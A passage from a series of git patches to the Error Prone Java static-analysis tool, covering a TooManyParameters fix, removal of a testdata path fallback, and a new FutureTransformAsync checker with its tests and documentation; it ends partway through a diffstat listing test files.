From 0cec00edfbc4eca87ae99b99b90a06318fc77484 Mon Sep 17 00:00:00 2001 From: ghm Date: Tue, 1 Oct 2024 07:12:45 -0700 Subject: [PATCH 01/25] Fix TooManyParameters to ignore @AutoFactory on classes, not just methods. PiperOrigin-RevId: 681005706 --- .../bugpatterns/TooManyParameters.java | 21 ++++++++----- .../bugpatterns/TooManyParametersTest.java | 31 ++++++++++++++----- 2 files changed, 36 insertions(+), 16 deletions(-) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/TooManyParameters.java b/core/src/main/java/com/google/errorprone/bugpatterns/TooManyParameters.java index 855094f2487..592cec9a7e0 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/TooManyParameters.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/TooManyParameters.java @@ -30,6 +30,7 @@ import com.google.errorprone.bugpatterns.BugChecker.MethodTreeMatcher; import com.google.errorprone.matchers.Description; import com.sun.source.tree.MethodTree; +import com.sun.tools.javac.code.Symbol.ClassSymbol; import javax.inject.Inject; /** A {@link BugChecker}; see the associated {@link BugPattern} annotation for details. */ @@ -46,7 +47,7 @@ public class TooManyParameters extends BugChecker implements MethodTreeMatcher { static final String TOO_MANY_PARAMETERS_FLAG_NAME = "TooManyParameters:ParameterLimit"; - private static final ImmutableSet ANNOTATIONS_TO_IGNORE = + private static final ImmutableSet METHOD_ANNOTATIONS_TO_IGNORE = ImmutableSet.of( "java.lang.Deprecated", "java.lang.Override", @@ -60,8 +61,10 @@ public class TooManyParameters extends BugChecker implements MethodTreeMatcher { "org.junit.Test", // dagger provider / producers "dagger.Provides", - "dagger.producers.Produces", - "com.google.auto.factory.AutoFactory"); + "dagger.producers.Produces"); + + private static final ImmutableSet CLASS_ANNOTATIONS_TO_IGNORE = + ImmutableSet.of("com.google.auto.factory.AutoFactory"); private final int limit; @@ -91,11 +94,13 @@ public Description matchMethod(MethodTree tree, VisitorState state) { } private static boolean shouldApplyApiChecks(MethodTree tree, VisitorState state) { - for (String annotation : ANNOTATIONS_TO_IGNORE) { - if (hasAnnotation(tree, annotation, state)) { - return false; - } + var symbol = getSymbol(tree); + if (symbol.owner instanceof ClassSymbol + && CLASS_ANNOTATIONS_TO_IGNORE.stream() + .anyMatch(a -> hasAnnotation(symbol.owner, a, state))) { + return false; } - return methodIsPublicAndNotAnOverride(getSymbol(tree), state); + return METHOD_ANNOTATIONS_TO_IGNORE.stream().noneMatch(a -> hasAnnotation(tree, a, state)) + && methodIsPublicAndNotAnOverride(symbol, state); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/TooManyParametersTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/TooManyParametersTest.java index 262414d527f..3dad94d74c5 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/TooManyParametersTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/TooManyParametersTest.java @@ -22,7 +22,6 @@ import com.google.common.collect.ImmutableList; import com.google.errorprone.CompilationTestHelper; import com.google.errorprone.ErrorProneFlags; -import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; @@ -30,13 +29,8 @@ /** Tests for {@link TooManyParameters}. */ @RunWith(JUnit4.class) public class TooManyParametersTest { - - private CompilationTestHelper compilationHelper; - - @Before - public void setup() { - compilationHelper = CompilationTestHelper.newInstance(TooManyParameters.class, getClass()); - } + private final CompilationTestHelper compilationHelper = + CompilationTestHelper.newInstance(TooManyParameters.class, getClass()); @Test public void zeroLimit() { @@ -112,6 +106,27 @@ public ConstructorTest(int a, int b, int c) {} .doTest(); } + @Test + public void ignoresAutoFactory() { + compilationHelper + .setArgs(ImmutableList.of("-XepOpt:" + TOO_MANY_PARAMETERS_FLAG_NAME + "=3")) + .addSourceLines( + "AutoFactory.java", + """ + package com.google.auto.factory; + public @interface AutoFactory {} + """) + .addSourceLines( + "Test.java", + """ + @com.google.auto.factory.AutoFactory + public class Test { + Test(int a, int b, int c, int d) {} + } + """) + .doTest(); + } + @Test public void method() { compilationHelper From 097ab7a236003e2b12ae4c5e46937c3fc17a40a2 Mon Sep 17 00:00:00 2001 From: ghm Date: Tue, 1 Oct 2024 09:14:14 -0700 Subject: [PATCH 02/25] Remove the testdata directory hack. Note for third-party users: sorry if this breaks you! Just fix the paths to be relative to the test's path. PiperOrigin-RevId: 681045623 --- .../main/java/com/google/errorprone/FileObjects.java | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/test_helpers/src/main/java/com/google/errorprone/FileObjects.java b/test_helpers/src/main/java/com/google/errorprone/FileObjects.java index 2569ecd0937..af552691952 100644 --- a/test_helpers/src/main/java/com/google/errorprone/FileObjects.java +++ b/test_helpers/src/main/java/com/google/errorprone/FileObjects.java @@ -61,18 +61,13 @@ public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOExcept }; } - // TODO(b/176096448): the testdata/ fallback is a hack, fix affected tests and remove it @MustBeClosed private static InputStream findResource(Class clazz, String name) { InputStream is = clazz.getResourceAsStream(name); - if (is != null) { - return is; + if (is == null) { + throw new AssertionError("could not find resource: " + name + " for: " + clazz); } - is = clazz.getResourceAsStream("testdata/" + name); - if (is != null) { - return is; - } - throw new AssertionError("could not find resource: " + name + " for: " + clazz); + return is; } /** Creates a {@link JavaFileObject} with the given name and content. */ From 74ae4175d02df43218fc8501c83add49f3d1821e Mon Sep 17 00:00:00 2001 From: Error Prone Team Date: Tue, 1 Oct 2024 13:37:33 -0700 Subject: [PATCH 03/25] Bug pattern for Futures.transformAsync and other similar methods. Generated CL for reference: unknown commit. This includes 2,596 findings in 1,418 files. TAP train of the generated CL: [] PiperOrigin-RevId: 681147365 --- .../bugpatterns/FutureTransformAsync.java | 191 ++++++ .../scanner/BuiltInCheckerSuppliers.java | 2 + .../bugpatterns/FutureTransformAsyncTest.java | 592 ++++++++++++++++++ docs/bugpattern/FutureTransformAsync.md | 6 + 4 files changed, 791 insertions(+) create mode 100644 core/src/main/java/com/google/errorprone/bugpatterns/FutureTransformAsync.java create mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/FutureTransformAsyncTest.java create mode 100644 docs/bugpattern/FutureTransformAsync.md diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/FutureTransformAsync.java b/core/src/main/java/com/google/errorprone/bugpatterns/FutureTransformAsync.java new file mode 100644 index 00000000000..7da7325dcca --- /dev/null +++ b/core/src/main/java/com/google/errorprone/bugpatterns/FutureTransformAsync.java @@ -0,0 +1,191 @@ +/* + * Copyright 2024 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.bugpatterns; + +import static com.google.common.collect.Sets.union; +import static com.google.errorprone.BugPattern.SeverityLevel.WARNING; +import static com.google.errorprone.matchers.Description.NO_MATCH; +import static com.google.errorprone.matchers.Matchers.anyOf; +import static com.google.errorprone.matchers.method.MethodMatchers.instanceMethod; +import static com.google.errorprone.matchers.method.MethodMatchers.staticMethod; +import static com.google.errorprone.util.ASTHelpers.enclosingClass; +import static com.google.errorprone.util.ASTHelpers.getSymbol; +import static com.google.errorprone.util.ASTHelpers.getThrownExceptions; +import static com.google.errorprone.util.ASTHelpers.isCheckedExceptionType; + +import com.google.common.collect.ImmutableSet; +import com.google.common.util.concurrent.ClosingFuture; +import com.google.common.util.concurrent.FluentFuture; +import com.google.common.util.concurrent.Futures; +import com.google.errorprone.BugPattern; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; +import com.google.errorprone.fixes.SuggestedFix; +import com.google.errorprone.fixes.SuggestedFixes; +import com.google.errorprone.matchers.Description; +import com.google.errorprone.matchers.Matcher; +import com.sun.source.tree.BlockTree; +import com.sun.source.tree.ClassTree; +import com.sun.source.tree.ExpressionTree; +import com.sun.source.tree.LambdaExpressionTree; +import com.sun.source.tree.MethodInvocationTree; +import com.sun.source.tree.ReturnTree; +import com.sun.source.util.TreePath; +import com.sun.source.util.TreePathScanner; +import com.sun.tools.javac.code.Symbol; +import java.util.HashSet; +import java.util.Optional; + +/** See summary for details. */ +@BugPattern( + summary = "Use transform instead of transformAsync when all returns are an immediate future.", + severity = WARNING) +public final class FutureTransformAsync extends BugChecker implements MethodInvocationTreeMatcher { + + private static final ImmutableSet CLASSES_WITH_STATIC_METHOD = + ImmutableSet.of(Futures.class.getName()); + + private static final ImmutableSet CLASSES_WITH_INSTANCE_METHOD = + ImmutableSet.of(ClosingFuture.class.getName(), FluentFuture.class.getName()); + + private static final Matcher TRANSFORM_ASYNC_MATCHER = + anyOf( + staticMethod().onClassAny(CLASSES_WITH_STATIC_METHOD).named("transformAsync"), + instanceMethod().onExactClassAny(CLASSES_WITH_INSTANCE_METHOD).named("transformAsync")); + + private static final Matcher IMMEDIATE_FUTURE = + staticMethod() + .onClassAny(union(CLASSES_WITH_STATIC_METHOD, CLASSES_WITH_INSTANCE_METHOD)) + .named("immediateFuture"); + + private static final Matcher IMMEDIATE_VOID_FUTURE = + staticMethod() + .onClassAny(union(CLASSES_WITH_STATIC_METHOD, CLASSES_WITH_INSTANCE_METHOD)) + .named("immediateVoidFuture"); + + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (!TRANSFORM_ASYNC_MATCHER.matches(tree, state)) { + return NO_MATCH; + } + + // Find the lambda expression. The transformAsync() methods might have different number of + // arguments, but they all have a single lambda. Also discard the lambdas that throw checked + // exceptions, since they cannot be supported by transform(). + Optional lambda = + tree.getArguments().stream() + .filter(LambdaExpressionTree.class::isInstance) + .map(arg -> (LambdaExpressionTree) arg) + .filter(lambdaTree -> !throwsCheckedException(lambdaTree, state)) + .findFirst(); + + return lambda.map(lambdaTree -> handleTransformAsync(tree, lambdaTree, state)).orElse(NO_MATCH); + } + + private Description handleTransformAsync( + MethodInvocationTree tree, LambdaExpressionTree lambda, VisitorState state) { + HashSet returnExpressions = new HashSet<>(); + if (lambda.getBody() instanceof ExpressionTree) { + returnExpressions.add((ExpressionTree) lambda.getBody()); + } else if (lambda.getBody() instanceof BlockTree) { + new TreePathScanner() { + @Override + public Void visitLambdaExpression(LambdaExpressionTree node, Void unused) { + // don't descend into lambdas (to handle nested lambdas) + return null; + } + + @Override + public Void visitClass(ClassTree node, Void unused) { + // don't descend into classes (to handle nested classes) + return null; + } + + @Override + public Void visitReturn(ReturnTree tree, Void unused) { + returnExpressions.add(tree.getExpression()); + // Don't descend deeper into returns, since we already checked the body of this return. + return null; + } + }.scan(TreePath.getPath(state.getPath().getCompilationUnit(), lambda.getBody()), null); + } else { + return NO_MATCH; + } + + boolean areAllImmediateFutures = + returnExpressions.stream() + .allMatch( + expression -> + expression instanceof MethodInvocationTree + && (IMMEDIATE_FUTURE.matches(expression, state) + || IMMEDIATE_VOID_FUTURE.matches(expression, state))); + + if (areAllImmediateFutures) { + SuggestedFix.Builder fix = SuggestedFix.builder(); + suggestFixTransformAsyncToTransform(tree, state, fix); + for (ExpressionTree expression : returnExpressions) { + suggestFixRemoveImmediateFuture((MethodInvocationTree) expression, state, fix); + } + state.reportMatch(describeMatch(tree, fix.build())); + } + + return NO_MATCH; + } + + /** Returns true if the lambda throws a checked exception. */ + private static boolean throwsCheckedException(LambdaExpressionTree lambda, VisitorState state) { + return getThrownExceptions(lambda.getBody(), state).stream() + .anyMatch(type -> isCheckedExceptionType(type, state)); + } + + /** + * Suggests fix to replace transformAsync with transform. + * + *

If the transformAsync is imported as a static method, it takes care of adding the equivalent + * import static for transform. + */ + private static void suggestFixTransformAsyncToTransform( + MethodInvocationTree tree, VisitorState state, SuggestedFix.Builder fix) { + ExpressionTree methodSelect = tree.getMethodSelect(); + if (state.getSourceForNode(methodSelect).equals("transformAsync")) { + Symbol symbol = getSymbol(methodSelect); + String className = enclosingClass(symbol).getQualifiedName().toString(); + fix.addStaticImport(className + "." + "transform"); + } + fix.merge(SuggestedFixes.renameMethodInvocation(tree, "transform", state)); + } + + /** Suggests fix to remove the immediateFuture or immediateVoidFuture call. */ + private static void suggestFixRemoveImmediateFuture( + MethodInvocationTree tree, VisitorState state, SuggestedFix.Builder fix) { + String typeArgument = ""; + String argument = ""; + if (IMMEDIATE_FUTURE.matches(tree, state)) { + var typeArguments = tree.getTypeArguments(); + if (typeArguments.size() == 1) { + typeArgument = state.getSourceForNode(typeArguments.get(0)); + } + argument = state.getSourceForNode(tree.getArguments().get(0)); + } else if (IMMEDIATE_VOID_FUTURE.matches(tree, state)) { + typeArgument = "Void"; + argument = "null"; + } + String fixString = + typeArgument.isEmpty() ? argument : String.format("(%s) %s", typeArgument, argument); + fix.replace(tree, fixString); + } +} diff --git a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java index 682043064f7..7b4c5834598 100644 --- a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java +++ b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java @@ -156,6 +156,7 @@ import com.google.errorprone.bugpatterns.FunctionalInterfaceClash; import com.google.errorprone.bugpatterns.FunctionalInterfaceMethodChanged; import com.google.errorprone.bugpatterns.FutureReturnValueIgnored; +import com.google.errorprone.bugpatterns.FutureTransformAsync; import com.google.errorprone.bugpatterns.FuturesGetCheckedIllegalExceptionType; import com.google.errorprone.bugpatterns.FuzzyEqualsShouldNotBeUsedInEqualsMethod; import com.google.errorprone.bugpatterns.GetClassOnAnnotation; @@ -929,6 +930,7 @@ public static ScannerSupplier warningChecks() { FragmentInjection.class, FragmentNotInstantiable.class, FutureReturnValueIgnored.class, + FutureTransformAsync.class, GetClassOnEnum.class, GuiceNestedCombine.class, HidingField.class, diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FutureTransformAsyncTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FutureTransformAsyncTest.java new file mode 100644 index 00000000000..3558e1d4e20 --- /dev/null +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FutureTransformAsyncTest.java @@ -0,0 +1,592 @@ +/* + * Copyright 2024 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.bugpatterns; + +import com.google.errorprone.BugCheckerRefactoringTestHelper; +import com.google.errorprone.CompilationTestHelper; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link FutureTransformAsync}. */ +@RunWith(JUnit4.class) +public class FutureTransformAsyncTest { + private final CompilationTestHelper compilationHelper = + CompilationTestHelper.newInstance(FutureTransformAsync.class, getClass()); + + private final BugCheckerRefactoringTestHelper refactoringHelper = + BugCheckerRefactoringTestHelper.newInstance(FutureTransformAsync.class, getClass()); + + @Test + public void transformAsync_expressionLambda() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture(5), + value -> Futures.immediateFuture("value: " + value), + executor); + return future; + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transform( + Futures.immediateFuture(5), + value -> "value: " + value, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_statementLambda() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture(5), + value -> { + if (value > 5) { + return Futures.immediateFuture("large"); + } else if (value < 5) { + return Futures.immediateFuture("small"); + } + return Futures.immediateFuture("value: " + value); + }, + executor); + return future; + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transform( + Futures.immediateFuture(5), + value -> { + if (value > 5) { + return "large"; + } else if (value < 5) { + return "small"; + } + return "value: " + value; + }, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_notAllImmediateFutures() { + compilationHelper + .addSourceLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture foo(String s) { + return Futures.immediateFuture(s); + } + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture(5), + value -> { + if (value > 0) { + return foo("large"); + } + return Futures.immediateFuture("value: " + value); + }, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_statementLambda_throwsCheckedException() { + compilationHelper + .addSourceLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.io.FileNotFoundException; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture(5), + value -> { + if (value > 0) { + throw new FileNotFoundException("large"); + } + return Futures.immediateFuture("value: " + value); + }, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_statementLambda_methodThrowsCheckedException() { + compilationHelper + .addSourceLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.io.FileNotFoundException; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + private void throwIfLarge(int unused) throws FileNotFoundException { + } + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture(5), + value -> { + throwIfLarge(value); + return Futures.immediateFuture("value: " + value); + }, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_expressionLambda_methodThrowsCheckedException() { + compilationHelper + .addSourceLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.io.FileNotFoundException; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + private String throwIfLarge(int value) throws FileNotFoundException { + return "value: " + value; + } + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture(5), + value -> Futures.immediateFuture(throwIfLarge(value)), + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_uncheckedException() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture(5), + value -> { + if (value > 0) { + throw new IllegalStateException("large"); + } + return Futures.immediateFuture("value: " + value); + }, + executor); + return future; + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transform( + Futures.immediateFuture(5), + value -> { + if (value > 0) { + throw new IllegalStateException("large"); + } + return "value: " + value; + }, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_returnTransformAsyncResult() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + return Futures.transformAsync( + Futures.immediateFuture(5), + value -> Futures.immediateFuture("value: " + value), + executor); + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + return Futures.transform( + Futures.immediateFuture(5), + value -> "value: " + value, + executor); + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_staticImports() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import static com.google.common.util.concurrent.Futures.immediateFuture; + import static com.google.common.util.concurrent.Futures.transformAsync; + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture foo(String s) { + return immediateFuture(s); + } + ListenableFuture test() { + ListenableFuture future = + transformAsync( + foo("x"), + value -> immediateFuture("value: " + value), + executor); + return future; + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import static com.google.common.util.concurrent.Futures.immediateFuture; + import static com.google.common.util.concurrent.Futures.transform; + import static com.google.common.util.concurrent.Futures.transformAsync; + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture foo(String s) { + return immediateFuture(s); + } + ListenableFuture test() { + ListenableFuture future = + transform( + foo("x"), + value -> "value: " + value, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_immediateVoidFuture() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture foo(String s) { + return Futures.immediateFuture(s); + } + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + foo("x"), + value -> Futures.immediateVoidFuture(), + executor); + return future; + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture foo(String s) { + return Futures.immediateFuture(s); + } + ListenableFuture test() { + ListenableFuture future = + Futures.transform( + foo("x"), + value -> (Void) null, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_withTypeArgument() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture("x"), + value -> Futures.immediateFuture(null), + executor); + return future; + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + Futures.transform( + Futures.immediateFuture("x"), + value -> (Void) null, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_nestedLambdas() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + interface TestInterface { + ListenableFuture apply(String value); + } + void foo(TestInterface unused) { + return; + } + ListenableFuture test() { + ListenableFuture future = + Futures.transformAsync( + Futures.immediateFuture("x"), + unused -> { + foo(x -> { + return Futures.immediateVoidFuture(); + }); + return Futures.immediateVoidFuture(); + }, + executor); + return future; + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + interface TestInterface { + ListenableFuture apply(String value); + } + void foo(TestInterface unused) { + return; + } + ListenableFuture test() { + ListenableFuture future = + Futures.transform( + Futures.immediateFuture("x"), + unused -> { + foo(x -> { + return Futures.immediateVoidFuture(); + }); + return (Void) null; + }, + executor); + return future; + } + } + """) + .doTest(); + } + + @Test + public void transformAsync_fluentFuture() { + refactoringHelper + .addInputLines( + "in/Test.java", + """ + import com.google.common.util.concurrent.FluentFuture; + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + FluentFuture.from(Futures.immediateFuture(5)) + .transformAsync( + value -> Futures.immediateFuture("value: " + value), + executor); + return future; + } + } + """) + .addOutputLines( + "out/Test.java", + """ + import com.google.common.util.concurrent.FluentFuture; + import com.google.common.util.concurrent.Futures; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.concurrent.Executor; + class Test { + private Executor executor; + ListenableFuture test() { + ListenableFuture future = + FluentFuture.from(Futures.immediateFuture(5)) + .transform( + value -> "value: " + value, + executor); + return future; + } + } + """) + .doTest(); + } +} diff --git a/docs/bugpattern/FutureTransformAsync.md b/docs/bugpattern/FutureTransformAsync.md new file mode 100644 index 00000000000..f87812c1d7b --- /dev/null +++ b/docs/bugpattern/FutureTransformAsync.md @@ -0,0 +1,6 @@ +The usage of `transformAsync` is not necessary when all the return values of the +transformation function are immediate futures. In this case, the usage of +`transform` is preferred. + +Note that `transform` cannot be used if the body of the transformation function +throws checked exceptions. From e023166a20422e37b6762b66130441c35cadd195 Mon Sep 17 00:00:00 2001 From: ghm Date: Fri, 4 Oct 2024 10:10:47 -0700 Subject: [PATCH 04/25] Inline addSourceFile/addInput/addOutput in third_party ErrorProne. This is mostly fully automated (unknown commit; I suggest averting your eyes, it's awful code), but with some modifications and reversions to make stuff compile: mostly modifications to BUILD files, and escaping things properly. There are some stragglers that I'll look at once some dust has settled. PiperOrigin-RevId: 682363540 --- .../bugpatterns/ArrayEqualsTest.java | 244 ++- .../bugpatterns/ArrayHashCodeTest.java | 157 +- .../bugpatterns/ArrayToStringTest.java | 184 +- .../bugpatterns/AssertFalseTest.java | 38 +- .../AsyncFunctionReturnsNullTest.java | 110 +- .../bugpatterns/BadComparableTest.java | 200 +- .../errorprone/bugpatterns/BadImportTest.java | 221 ++- .../bugpatterns/BadShiftAmountTest.java | 72 +- .../bugpatterns/BanClassLoaderTest.java | 80 +- .../errorprone/bugpatterns/BanJNDITest.java | 187 +- .../ByteBufferBackingArrayTest.java | 218 ++- .../bugpatterns/CannotMockFinalClassTest.java | 65 +- .../ChainedAssertionLosesContextTest.java | 155 +- ...ainingConstructorIgnoresParameterTest.java | 197 +- .../bugpatterns/CheckReturnValueTest.java | 244 ++- .../bugpatterns/ClassCanBeStaticTest.java | 152 +- .../CollectionToArraySafeParameterTest.java | 107 +- .../CollectorShouldNotUseStateTest.java | 92 +- .../ComparableAndComparatorTest.java | 130 +- .../bugpatterns/ComparableTypeTest.java | 227 ++- .../ComparisonContractViolatedTest.java | 144 +- .../bugpatterns/ComparisonOutOfRangeTest.java | 245 ++- .../bugpatterns/DeadExceptionTest.java | 123 +- .../errorprone/bugpatterns/DepAnnTest.java | 175 +- .../bugpatterns/EmptyCatchTest.java | 156 +- .../bugpatterns/EmptyIfStatementTest.java | 97 +- .../bugpatterns/EqualsHashCodeTest.java | 41 +- .../EqualsIncompatibleTypeTest.java | 490 ++++- .../errorprone/bugpatterns/EqualsNaNTest.java | 46 +- .../bugpatterns/EqualsReferenceTest.java | 115 +- ...neousThreadPoolConstructorCheckerTest.java | 176 +- .../bugpatterns/FallThroughTest.java | 231 ++- .../errorprone/bugpatterns/FinallyTest.java | 410 +++- ...oatingPointAssertionWithinEpsilonTest.java | 201 +- .../FunctionalInterfaceMethodChangedTest.java | 167 +- .../FutureReturnValueIgnoredTest.java | 508 ++++- ...resGetCheckedIllegalExceptionTypeTest.java | 116 +- ...ualsShouldNotBeUsedInEqualsMethodTest.java | 58 +- .../bugpatterns/GetClassOnClassTest.java | 59 +- .../bugpatterns/HidingFieldTest.java | 141 +- .../ImplementAssertionWithChainingTest.java | 163 +- .../InconsistentCapitalizationTest.java | 162 +- .../IncrementInForLoopAndHeaderTest.java | 155 +- .../bugpatterns/InsecureCipherModeTest.java | 379 +++- .../InstanceOfAndCastMatchWrongTypeTest.java | 435 ++++- .../bugpatterns/InvalidPatternSyntaxTest.java | 72 +- .../bugpatterns/IterableAndIteratorTest.java | 184 +- .../bugpatterns/JUnit3TestNotRunTest.java | 235 ++- .../bugpatterns/JUnit4SetUpNotRunTest.java | 201 +- .../bugpatterns/JUnit4TearDownNotRunTest.java | 180 +- .../bugpatterns/JUnit4TestNotRunTest.java | 203 +- .../bugpatterns/JUnitAssertSameCheckTest.java | 51 +- .../JUnitParameterMethodNotFoundTest.java | 217 ++- .../LambdaFunctionalInterfaceTest.java | 255 ++- .../bugpatterns/LiteEnumValueOfTest.java | 28 +- .../LockOnNonEnclosingClassLiteralTest.java | 60 +- .../LongLiteralLowerCaseSuffixTest.java | 238 ++- .../bugpatterns/MissingFailTest.java | 717 ++++++- .../bugpatterns/MisusedWeekYearTest.java | 194 +- ...ModifyCollectionInEnhancedForLoopTest.java | 199 +- .../ModifySourceCollectionInStreamTest.java | 188 +- .../ModifyingCollectionWithItselfTest.java | 103 +- ...MultipleParallelOrSequentialCallsTest.java | 457 ++++- ...ultipleUnaryOperatorsInMethodCallTest.java | 